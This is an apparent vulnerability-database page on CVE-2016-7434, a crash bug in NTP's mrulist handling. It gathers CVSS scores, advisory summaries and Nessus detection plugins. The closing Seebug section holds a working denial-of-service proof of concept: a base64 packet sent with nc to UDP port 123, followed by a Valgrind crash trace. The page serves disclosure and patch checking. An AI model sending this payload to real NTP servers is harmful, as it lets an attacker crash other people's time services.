Vulnerabilities > CVE-2016-7434 - Improper Input Validation vulnerability in NTP 4.2.8/4.2.7

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
ntp
hpe
CWE-20
nessus
exploit available

Summary

The read_mru_list function in NTP before 4.2.8p9 allows remote attackers to cause a denial of service (crash) via a crafted mrulist query.

Vulnerable Configurations

Part Description Count
Application
Ntp
584
Application
Hpe
3

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

descriptionNTP 4.2.8p8 - Denial of Service. CVE-2016-7434. Dos exploit for Linux platform
fileexploits/linux/dos/40806.py
idEDB-ID:40806
last seen2016-11-21
modified2016-11-21
platformlinux
port
published2016-11-21
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/40806/
titleNTP 4.2.8p8 - Denial of Service
typedos

Nessus

  • NASL familySlackware Local Security Checks
    NASL idSLACKWARE_SSA_2016-326-01.NASL
    descriptionNew ntp packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1, 14.2, and -current to fix security issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id95028
    published2016-11-22
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95028
    titleSlackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / 14.2 / current : ntp (SSA:2016-326-01)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Slackware Security Advisory 2016-326-01. The text 
    # itself is copyright (C) Slackware Linux, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(95028);
      script_version("2.3");
      script_cvs_date("Date: 2019/04/11 17:23:07");
    
      script_cve_id("CVE-2016-7426", "CVE-2016-7427", "CVE-2016-7428", "CVE-2016-7429", "CVE-2016-7431", "CVE-2016-7433", "CVE-2016-7434", "CVE-2016-9310", "CVE-2016-9311", "CVE-2016-9312");
      script_xref(name:"SSA", value:"2016-326-01");
    
      script_name(english:"Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / 14.2 / current : ntp (SSA:2016-326-01)");
      script_summary(english:"Checks for updated package in /var/log/packages");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Slackware host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "New ntp packages are available for Slackware 13.0, 13.1, 13.37, 14.0,
    14.1, 14.2, and -current to fix security issues."
      );
      # http://www.slackware.com/security/viewer.php?l=slackware-security&y=2016&m=slackware-security.641761
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?271e3ad7"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected ntp package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:slackware:slackware_linux:ntp");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:13.0");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:13.1");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:13.37");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:14.0");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:14.1");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:slackware:slackware_linux:14.2");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2016/11/21");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/11/22");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Slackware Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Slackware/release", "Host/Slackware/packages");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("slackware.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Slackware/release")) audit(AUDIT_OS_NOT, "Slackware");
    if (!get_kb_item("Host/Slackware/packages")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Slackware", cpu);
    
    
    flag = 0;
    if (slackware_check(osver:"13.0", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i486", pkgnum:"1_slack13.0")) flag++;
    if (slackware_check(osver:"13.0", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack13.0")) flag++;
    
    if (slackware_check(osver:"13.1", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i486", pkgnum:"1_slack13.1")) flag++;
    if (slackware_check(osver:"13.1", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack13.1")) flag++;
    
    if (slackware_check(osver:"13.37", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i486", pkgnum:"1_slack13.37")) flag++;
    if (slackware_check(osver:"13.37", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack13.37")) flag++;
    
    if (slackware_check(osver:"14.0", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i486", pkgnum:"1_slack14.0")) flag++;
    if (slackware_check(osver:"14.0", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack14.0")) flag++;
    
    if (slackware_check(osver:"14.1", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i486", pkgnum:"1_slack14.1")) flag++;
    if (slackware_check(osver:"14.1", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack14.1")) flag++;
    
    if (slackware_check(osver:"14.2", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i586", pkgnum:"1_slack14.2")) flag++;
    if (slackware_check(osver:"14.2", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1_slack14.2")) flag++;
    
    if (slackware_check(osver:"current", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"i586", pkgnum:"1")) flag++;
    if (slackware_check(osver:"current", arch:"x86_64", pkgname:"ntp", pkgver:"4.2.8p9", pkgarch:"x86_64", pkgnum:"1")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:slackware_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2017-0255-1.NASL
    descriptionThis update for ntp fixes the following issues: ntp was updated to 4.2.8p9. Security issues fixed : - CVE-2016-9311, CVE-2016-9310, bsc#1011377: Mode 6 unauthenticated trap information disclosure and DDoS vector. - CVE-2016-7427, bsc#1011390: Broadcast Mode Replay Prevention DoS. - CVE-2016-7428, bsc#1011417: Broadcast Mode Poll Interval Enforcement DoS. - CVE-2016-7431, bsc#1011395: Regression: 010-origin: Zero Origin Timestamp Bypass. - CVE-2016-7434, bsc#1011398: NULL pointer dereference in _IO_str_init_static_internal(). - CVE-2016-7429, bsc#1011404: Interface selection attack. - CVE-2016-7426, bsc#1011406: Client rate limiting and server responses. - CVE-2016-7433, bsc#1011411: Reboot sync calculation problem. - CVE-2015-8140: ntpq vulnerable to replay attacks. - CVE-2015-8139: Origin Leak: ntpq and ntpdc, disclose origin. - CVE-2015-5219: An endless loop due to incorrect precision to double conversion (bsc#943216). Non-security issues fixed : - Fix a spurious error message. - Other bugfixes, see /usr/share/doc/packages/ntp/ChangeLog. - Fix a regression in
    last seen2020-06-01
    modified2020-06-02
    plugin id96715
    published2017-01-24
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96715
    titleSUSE SLES11 Security Update : ntp (SUSE-SU-2017:0255-1)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-3196-1.NASL
    descriptionThis update for ntp fixes the following issues: ntp was updated to 4.2.8p9. Security issues fixed : - CVE-2016-9311, CVE-2016-9310, bsc#1011377: Mode 6 unauthenticated trap information disclosure and DDoS vector. - CVE-2016-7427, bsc#1011390: Broadcast Mode Replay Prevention DoS. - CVE-2016-7428, bsc#1011417: Broadcast Mode Poll Interval Enforcement DoS. - CVE-2016-7431, bsc#1011395: Regression: 010-origin: Zero Origin Timestamp Bypass. - CVE-2016-7434, bsc#1011398: NULL pointer dereference in _IO_str_init_static_internal(). - CVE-2016-7429, bsc#1011404: Interface selection attack. - CVE-2016-7426, bsc#1011406: Client rate limiting and server responses. - CVE-2016-7433, bsc#1011411: Reboot sync calculation problem. - CVE-2015-5219: An endless loop due to incorrect precision to double conversion (bsc#943216). Non-security issues fixed : - Fix a spurious error message. - Other bugfixes, see /usr/share/doc/packages/ntp/ChangeLog. - Fix a regression in
    last seen2020-06-01
    modified2020-06-02
    plugin id95988
    published2016-12-21
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95988
    titleSUSE SLES12 Security Update : ntp (SUSE-SU-2016:3196-1)
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-3349-1.NASL
    descriptionYihan Lian discovered that NTP incorrectly handled certain large request data values. A remote attacker could possibly use this issue to cause NTP to crash, resulting in a denial of service. This issue only affected Ubuntu 16.04 LTS. (CVE-2016-2519) Miroslav Lichvar discovered that NTP incorrectly handled certain spoofed addresses when performing rate limiting. A remote attacker could possibly use this issue to perform a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 16.10. (CVE-2016-7426) Matthew Van Gundy discovered that NTP incorrectly handled certain crafted broadcast mode packets. A remote attacker could possibly use this issue to perform a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 16.10. (CVE-2016-7427, CVE-2016-7428) Miroslav Lichvar discovered that NTP incorrectly handled certain responses. A remote attacker could possibly use this issue to perform a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 16.10. (CVE-2016-7429) Sharon Goldberg and Aanchal Malhotra discovered that NTP incorrectly handled origin timestamps of zero. A remote attacker could possibly use this issue to bypass the origin timestamp protection mechanism. This issue only affected Ubuntu 16.10. (CVE-2016-7431) Brian Utterback, Sharon Goldberg and Aanchal Malhotra discovered that NTP incorrectly performed initial sync calculations. This issue only applied to Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-7433) Magnus Stubman discovered that NTP incorrectly handled certain mrulist queries. A remote attacker could possibly use this issue to cause NTP to crash, resulting in a denial of service. This issue only affected Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-7434) Matthew Van Gund discovered that NTP incorrectly handled origin timestamp checks. A remote attacker could possibly use this issue to perform a denial of service. This issue only affected Ubuntu Ubuntu 16.10, and Ubuntu 17.04. (CVE-2016-9042) Matthew Van Gundy discovered that NTP incorrectly handled certain control mode packets. A remote attacker could use this issue to set or unset traps. This issue only applied to Ubuntu 14.04 LTS, Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-9310) Matthew Van Gundy discovered that NTP incorrectly handled the trap service. A remote attacker could possibly use this issue to cause NTP to crash, resulting in a denial of service. This issue only applied to Ubuntu 14.04 LTS, Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-9311) It was discovered that NTP incorrectly handled memory when processing long variables. A remote authenticated user could possibly use this issue to cause NTP to crash, resulting in a denial of service. (CVE-2017-6458) It was discovered that NTP incorrectly handled memory when processing long variables. A remote authenticated user could possibly use this issue to cause NTP to crash, resulting in a denial of service. This issue only applied to Ubuntu 16.04 LTS, Ubuntu 16.10 and Ubuntu 17.04. (CVE-2017-6460) It was discovered that the NTP legacy DPTS refclock driver incorrectly handled the /dev/datum device. A local attacker could possibly use this issue to cause a denial of service. (CVE-2017-6462) It was discovered that NTP incorrectly handled certain invalid settings in a :config directive. A remote authenticated user could possibly use this issue to cause NTP to crash, resulting in a denial of service. (CVE-2017-6463) It was discovered that NTP incorrectly handled certain invalid mode configuration directives. A remote authenticated user could possibly use this issue to cause NTP to crash, resulting in a denial of service. (CVE-2017-6464). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id101263
    published2017-07-06
    reporterUbuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/101263
    titleUbuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : ntp vulnerabilities (USN-3349-1)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-3195-1.NASL
    descriptionThis update for ntp fixes the following issues: ntp was updated to 4.2.8p9. Security issues fixed : - CVE-2016-9311, CVE-2016-9310, bsc#1011377: Mode 6 unauthenticated trap information disclosure and DDoS vector. - CVE-2016-7427, bsc#1011390: Broadcast Mode Replay Prevention DoS. - CVE-2016-7428, bsc#1011417: Broadcast Mode Poll Interval Enforcement DoS. - CVE-2016-7431, bsc#1011395: Regression: 010-origin: Zero Origin Timestamp Bypass. - CVE-2016-7434, bsc#1011398: NULL pointer dereference in _IO_str_init_static_internal(). - CVE-2016-7429, bsc#1011404: Interface selection attack. - CVE-2016-7426, bsc#1011406: Client rate limiting and server responses. - CVE-2016-7433, bsc#1011411: Reboot sync calculation problem. - CVE-2015-5219: An endless loop due to incorrect precision to double conversion (bsc#943216). Non-security issues fixed : - Fix a spurious error message. - Other bugfixes, see /usr/share/doc/packages/ntp/ChangeLog. - Fix a regression in
    last seen2020-06-01
    modified2020-06-02
    plugin id95987
    published2016-12-21
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95987
    titleSUSE SLED12 / SLES12 Security Update : ntp (SUSE-SU-2016:3195-1)
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_FCEDCDBBC86E11E6B1CF14DAE9D210B8.NASL
    descriptionMultiple vulnerabilities have been discovered in the NTP suite : CVE-2016-9311: Trap crash, Reported by Matthew Van Gundy of Cisco ASIG. CVE-2016-9310: Mode 6 unauthenticated trap information disclosure and DDoS vector. Reported by Matthew Van Gundy of Cisco ASIG. CVE-2016-7427: Broadcast Mode Replay Prevention DoS. Reported by Matthew Van Gundy of Cisco ASIG. CVE-2016-7428: Broadcast Mode Poll Interval Enforcement DoS. Reported by Matthew Van Gundy of Cisco ASIG. CVE-2016-7431: Regression: 010-origin: Zero Origin Timestamp Bypass. Reported by Sharon Goldberg and Aanchal Malhotra of Boston University. CVE-2016-7434: NULL pointer dereference in _IO_str_init_static_internal(). Reported by Magnus Stubman. CVE-2016-7426: Client rate limiting and server responses. Reported by Miroslav Lichvar of Red Hat. CVE-2016-7433: Reboot sync calculation problem. Reported independently by Brian Utterback of Oracle, and by Sharon Goldberg and Aanchal Malhotra of Boston University. Impact : A remote attacker who can send a specially crafted packet to cause a NULL pointer dereference that will crash ntpd, resulting in a Denial of Service. [CVE-2016-9311] An exploitable configuration modification vulnerability exists in the control mode (mode 6) functionality of ntpd. If, against long-standing BCP recommendations,
    last seen2020-06-01
    modified2020-06-02
    plugin id96123
    published2016-12-27
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96123
    titleFreeBSD : FreeBSD -- Multiple vulnerabilities of ntp (fcedcdbb-c86e-11e6-b1cf-14dae9d210b8)
  • NASL familyMisc.
    NASL idNTP_4_2_8P9.NASL
    descriptionThe version of the remote NTP server is 4.x prior to 4.2.8p9. It is, therefore, affected by the following vulnerabilities : - A denial of service vulnerability exists when rate limiting is configured for all associations, the limits also being applied to responses received from the configured sources. An unauthenticated, remote attacker can exploit this, by periodically sending spoofed packets, to keep rate limiting active, resulting in valid responses not being accepted by ntpd from its sources. (CVE-2016-7426) - A denial of service vulnerability exists in the broadcast mode replay prevention functionality. An unauthenticated, adjacent attacker can exploit this, via specially crafted broadcast mode NTP packets periodically injected into the broadcast domain, to cause ntpd to reject broadcast mode packets from legitimate NTP broadcast servers. (CVE-2016-7427) - A denial of service vulnerability exists in the broadcast mode poll interval functionality. An unauthenticated, adjacent attacker can exploit this, via specially crafted broadcast mode NTP packets, to cause ntpd to reject packets from a legitimate NTP broadcast server. (CVE-2016-7428) - A denial of service vulnerability exists when receiving server responses on sockets that correspond to different interfaces than what were used in the request. An unauthenticated, remote attacker can exploit this, by sending repeated requests using specially crafted packets with spoofed source addresses, to cause ntpd to select the incorrect interface for the source, which prevents it from sending new requests until the interface list is refreshed. This eventually results in preventing ntpd from synchronizing with the source. (CVE-2016-7429) - A flaw exists that allows packets with an origin timestamp of zero to bypass security checks. An unauthenticated, remote attacker can exploit this to spoof arbitrary content. (CVE-2016-7431) - A flaw exists due to the root delay being included twice, which may result in the jitter value being higher than expected. An unauthenticated, remote attacker can exploit this to cause a denial of service condition. (CVE-2016-7433) - A denial of service vulnerability exists when handling specially crafted mrulist query packets that allows an unauthenticated, remote attacker to crash ntpd. (CVE-2016-7434) - A flaw exists in the control mode (mode 6) functionality when handling specially crafted control mode packets. An unauthenticated, adjacent attacker can exploit this to set or disable ntpd traps, resulting in the disclosure of potentially sensitive information, disabling of legitimate monitoring, or DDoS amplification. (CVE-2016-9310) - A NULL pointer dereference flaw exists in the report_event() function within file ntpd/ntp_control.c when the trap service handles certain peer events. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to cause a denial of service condition. (CVE-2016-9311) - A denial of service vulnerability exists when handling oversize UDP packets that allows an unauthenticated, remote attacker to crash ntpd. Note that this vulnerability only affects Windows versions. (CVE-2016-9312)
    last seen2020-04-30
    modified2016-12-06
    plugin id95575
    published2016-12-06
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95575
    titleNetwork Time Protocol Daemon (ntpd) 4.x < 4.2.8p9 Multiple Vulnerabilities
  • NASL familyPhotonOS Local Security Checks
    NASL idPHOTONOS_PHSA-2017-0003.NASL
    descriptionAn update of [guile,ntp] packages for PhotonOS has been released.
    last seen2019-02-08
    modified2019-02-07
    plugin id111852
    published2018-08-17
    reporterTenable
    sourcehttps://www.tenable.com/plugins/index.php?view=single&id=111852
    titlePhoton OS 1.0: Guile / Ntp / Ntpstat PHSA-2017-0003 (deprecated)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-3193-1.NASL
    descriptionThis update for ntp fixes the following issues : - Simplify ntpd
    last seen2020-06-01
    modified2020-06-02
    plugin id95986
    published2016-12-21
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95986
    titleSUSE SLES11 Security Update : ntp (SUSE-SU-2016:3193-1)
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_8DB8D62AB08B11E68EBAD050996490D0.NASL
    descriptionNetwork Time Foundation reports : NTF
    last seen2020-06-01
    modified2020-06-02
    plugin id95265
    published2016-11-23
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95265
    titleFreeBSD : ntp -- multiple vulnerabilities (8db8d62a-b08b-11e6-8eba-d050996490d0)
  • NASL familyMisc.
    NASL idNTP_CVE-2016-7434.NASL
    descriptionThe remote NTP server is affected by a denial of service vulnerability due to improper validation of mrulist queries. An unauthenticated, remote attacker can exploit this, via a specially crafted NTP mrulist query packet, to terminate the ntpd process. Note that the NTP server is reportedly affected by additional vulnerabilities as well; however, Nessus has not tested for these.
    last seen2020-06-01
    modified2020-06-02
    plugin id95389
    published2016-11-29
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95389
    titleNetwork Time Protocol Daemon (ntpd) read_mru_list() Remote DoS
  • NASL familyPhotonOS Local Security Checks
    NASL idPHOTONOS_PHSA-2017-0003_NTP.NASL
    descriptionAn update of the ntp package has been released.
    last seen2020-06-01
    modified2020-06-02
    plugin id121668
    published2019-02-07
    reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/121668
    titlePhoton OS 1.0: Ntp PHSA-2017-0003
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-1525.NASL
    descriptionThis update for ntp fixes the following issues : ntp was updated to 4.2.8p9. Security issues fixed : - CVE-2016-9311, CVE-2016-9310, bsc#1011377: Mode 6 unauthenticated trap information disclosure and DDoS vector. - CVE-2016-7427, bsc#1011390: Broadcast Mode Replay Prevention DoS. - CVE-2016-7428, bsc#1011417: Broadcast Mode Poll Interval Enforcement DoS. - CVE-2016-7431, bsc#1011395: Regression: 010-origin: Zero Origin Timestamp Bypass. - CVE-2016-7434, bsc#1011398: NULL pointer dereference in _IO_str_init_static_internal(). - CVE-2016-7429, bsc#1011404: Interface selection attack. - CVE-2016-7426, bsc#1011406: Client rate limiting and server responses. - CVE-2016-7433, bsc#1011411: Reboot sync calculation problem. - CVE-2015-5219: An endless loop due to incorrect precision to double conversion (bsc#943216). Non-security issues fixed : - Fix a spurious error message. - Other bugfixes, see /usr/share/doc/packages/ntp/ChangeLog. - Fix a regression in
    last seen2020-06-05
    modified2016-12-29
    plugin id96173
    published2016-12-29
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96173
    titleopenSUSE Security Update : ntp (openSUSE-2016-1525)
  • NASL familyFirewalls
    NASL idPFSENSE_SA-17_03.NASL
    descriptionAccording to its self-reported version number, the remote pfSense install is affected by multiple vulnerabilities as stated in the referenced vendor advisories.
    last seen2020-06-01
    modified2020-06-02
    plugin id106503
    published2018-01-31
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106503
    titlepfSense < 2.3.3 Multiple Vulnerabilities (SA-17_01 - SA-17_03)
  • NASL familyPhotonOS Local Security Checks
    NASL idPHOTONOS_PHSA-2017-0003_NTPSTAT.NASL
    descriptionAn update of the ntpstat package has been released.
    last seen2020-06-01
    modified2020-06-02
    plugin id121669
    published2019-02-07
    reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/121669
    titlePhoton OS 1.0: Ntpstat PHSA-2017-0003

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/139856/ntp427p22-dos.txt
idPACKETSTORM:139856
last seen2016-12-05
published2016-11-22
reporterMagnus Klaaborg Stubman
sourcehttps://packetstormsecurity.com/files/139856/ntpd-4.2.7.p22-4.3.0-Denial-Of-Service.html
titlentpd 4.2.7.p22 / 4.3.0 Denial Of Service

Seebug

bulletinFamilyexploit
descriptionpoc ``` echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ | "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 ``` Valgrind report ``` $ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf | | ==5389== Memcheck, a memory error detector | | ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. | | ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info | | ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf | | ==5389== | | 25 Jun 23:07:05 ntpd[5389]: ntpd [email protected] Sat Jun 25 20:50:30 UTC 2016 (1): Starting | | 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf | | 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18) | | 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null | | 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 ^6wildcard [::]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123 | | 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates | | ==5389== Invalid read of size 1 | | ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) | | ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) | | ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) | | ==5389== by 0x42BB09: receive (ntp_proto.c:659) | | ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) | | ==5389== by 0x405A58: main (ntpd.c:392) | | ==5389== Address 0x0 is not stack'd, malloc'd or (recently) free'd | | ==5389== | | ==5389== | | ==5389== Process terminating with default action of signal 11 (SIGSEGV) | | ==5389== Access not within mapped region at address 0x0 | | ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) | | ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) | | ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) | | ==5389== by 0x42BB09: receive (ntp_proto.c:659) | | ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) | | ==5389== by 0x405A58: main (ntpd.c:392) | | ==5389== If you believe this happened as a result of a stack | | ==5389== overflow in your program's main thread (unlikely but | | ==5389== possible), you can try to increase the size of the | | ==5389== main thread stack using the --main-stacksize= flag. | | ==5389== The main thread stack size used in this run was 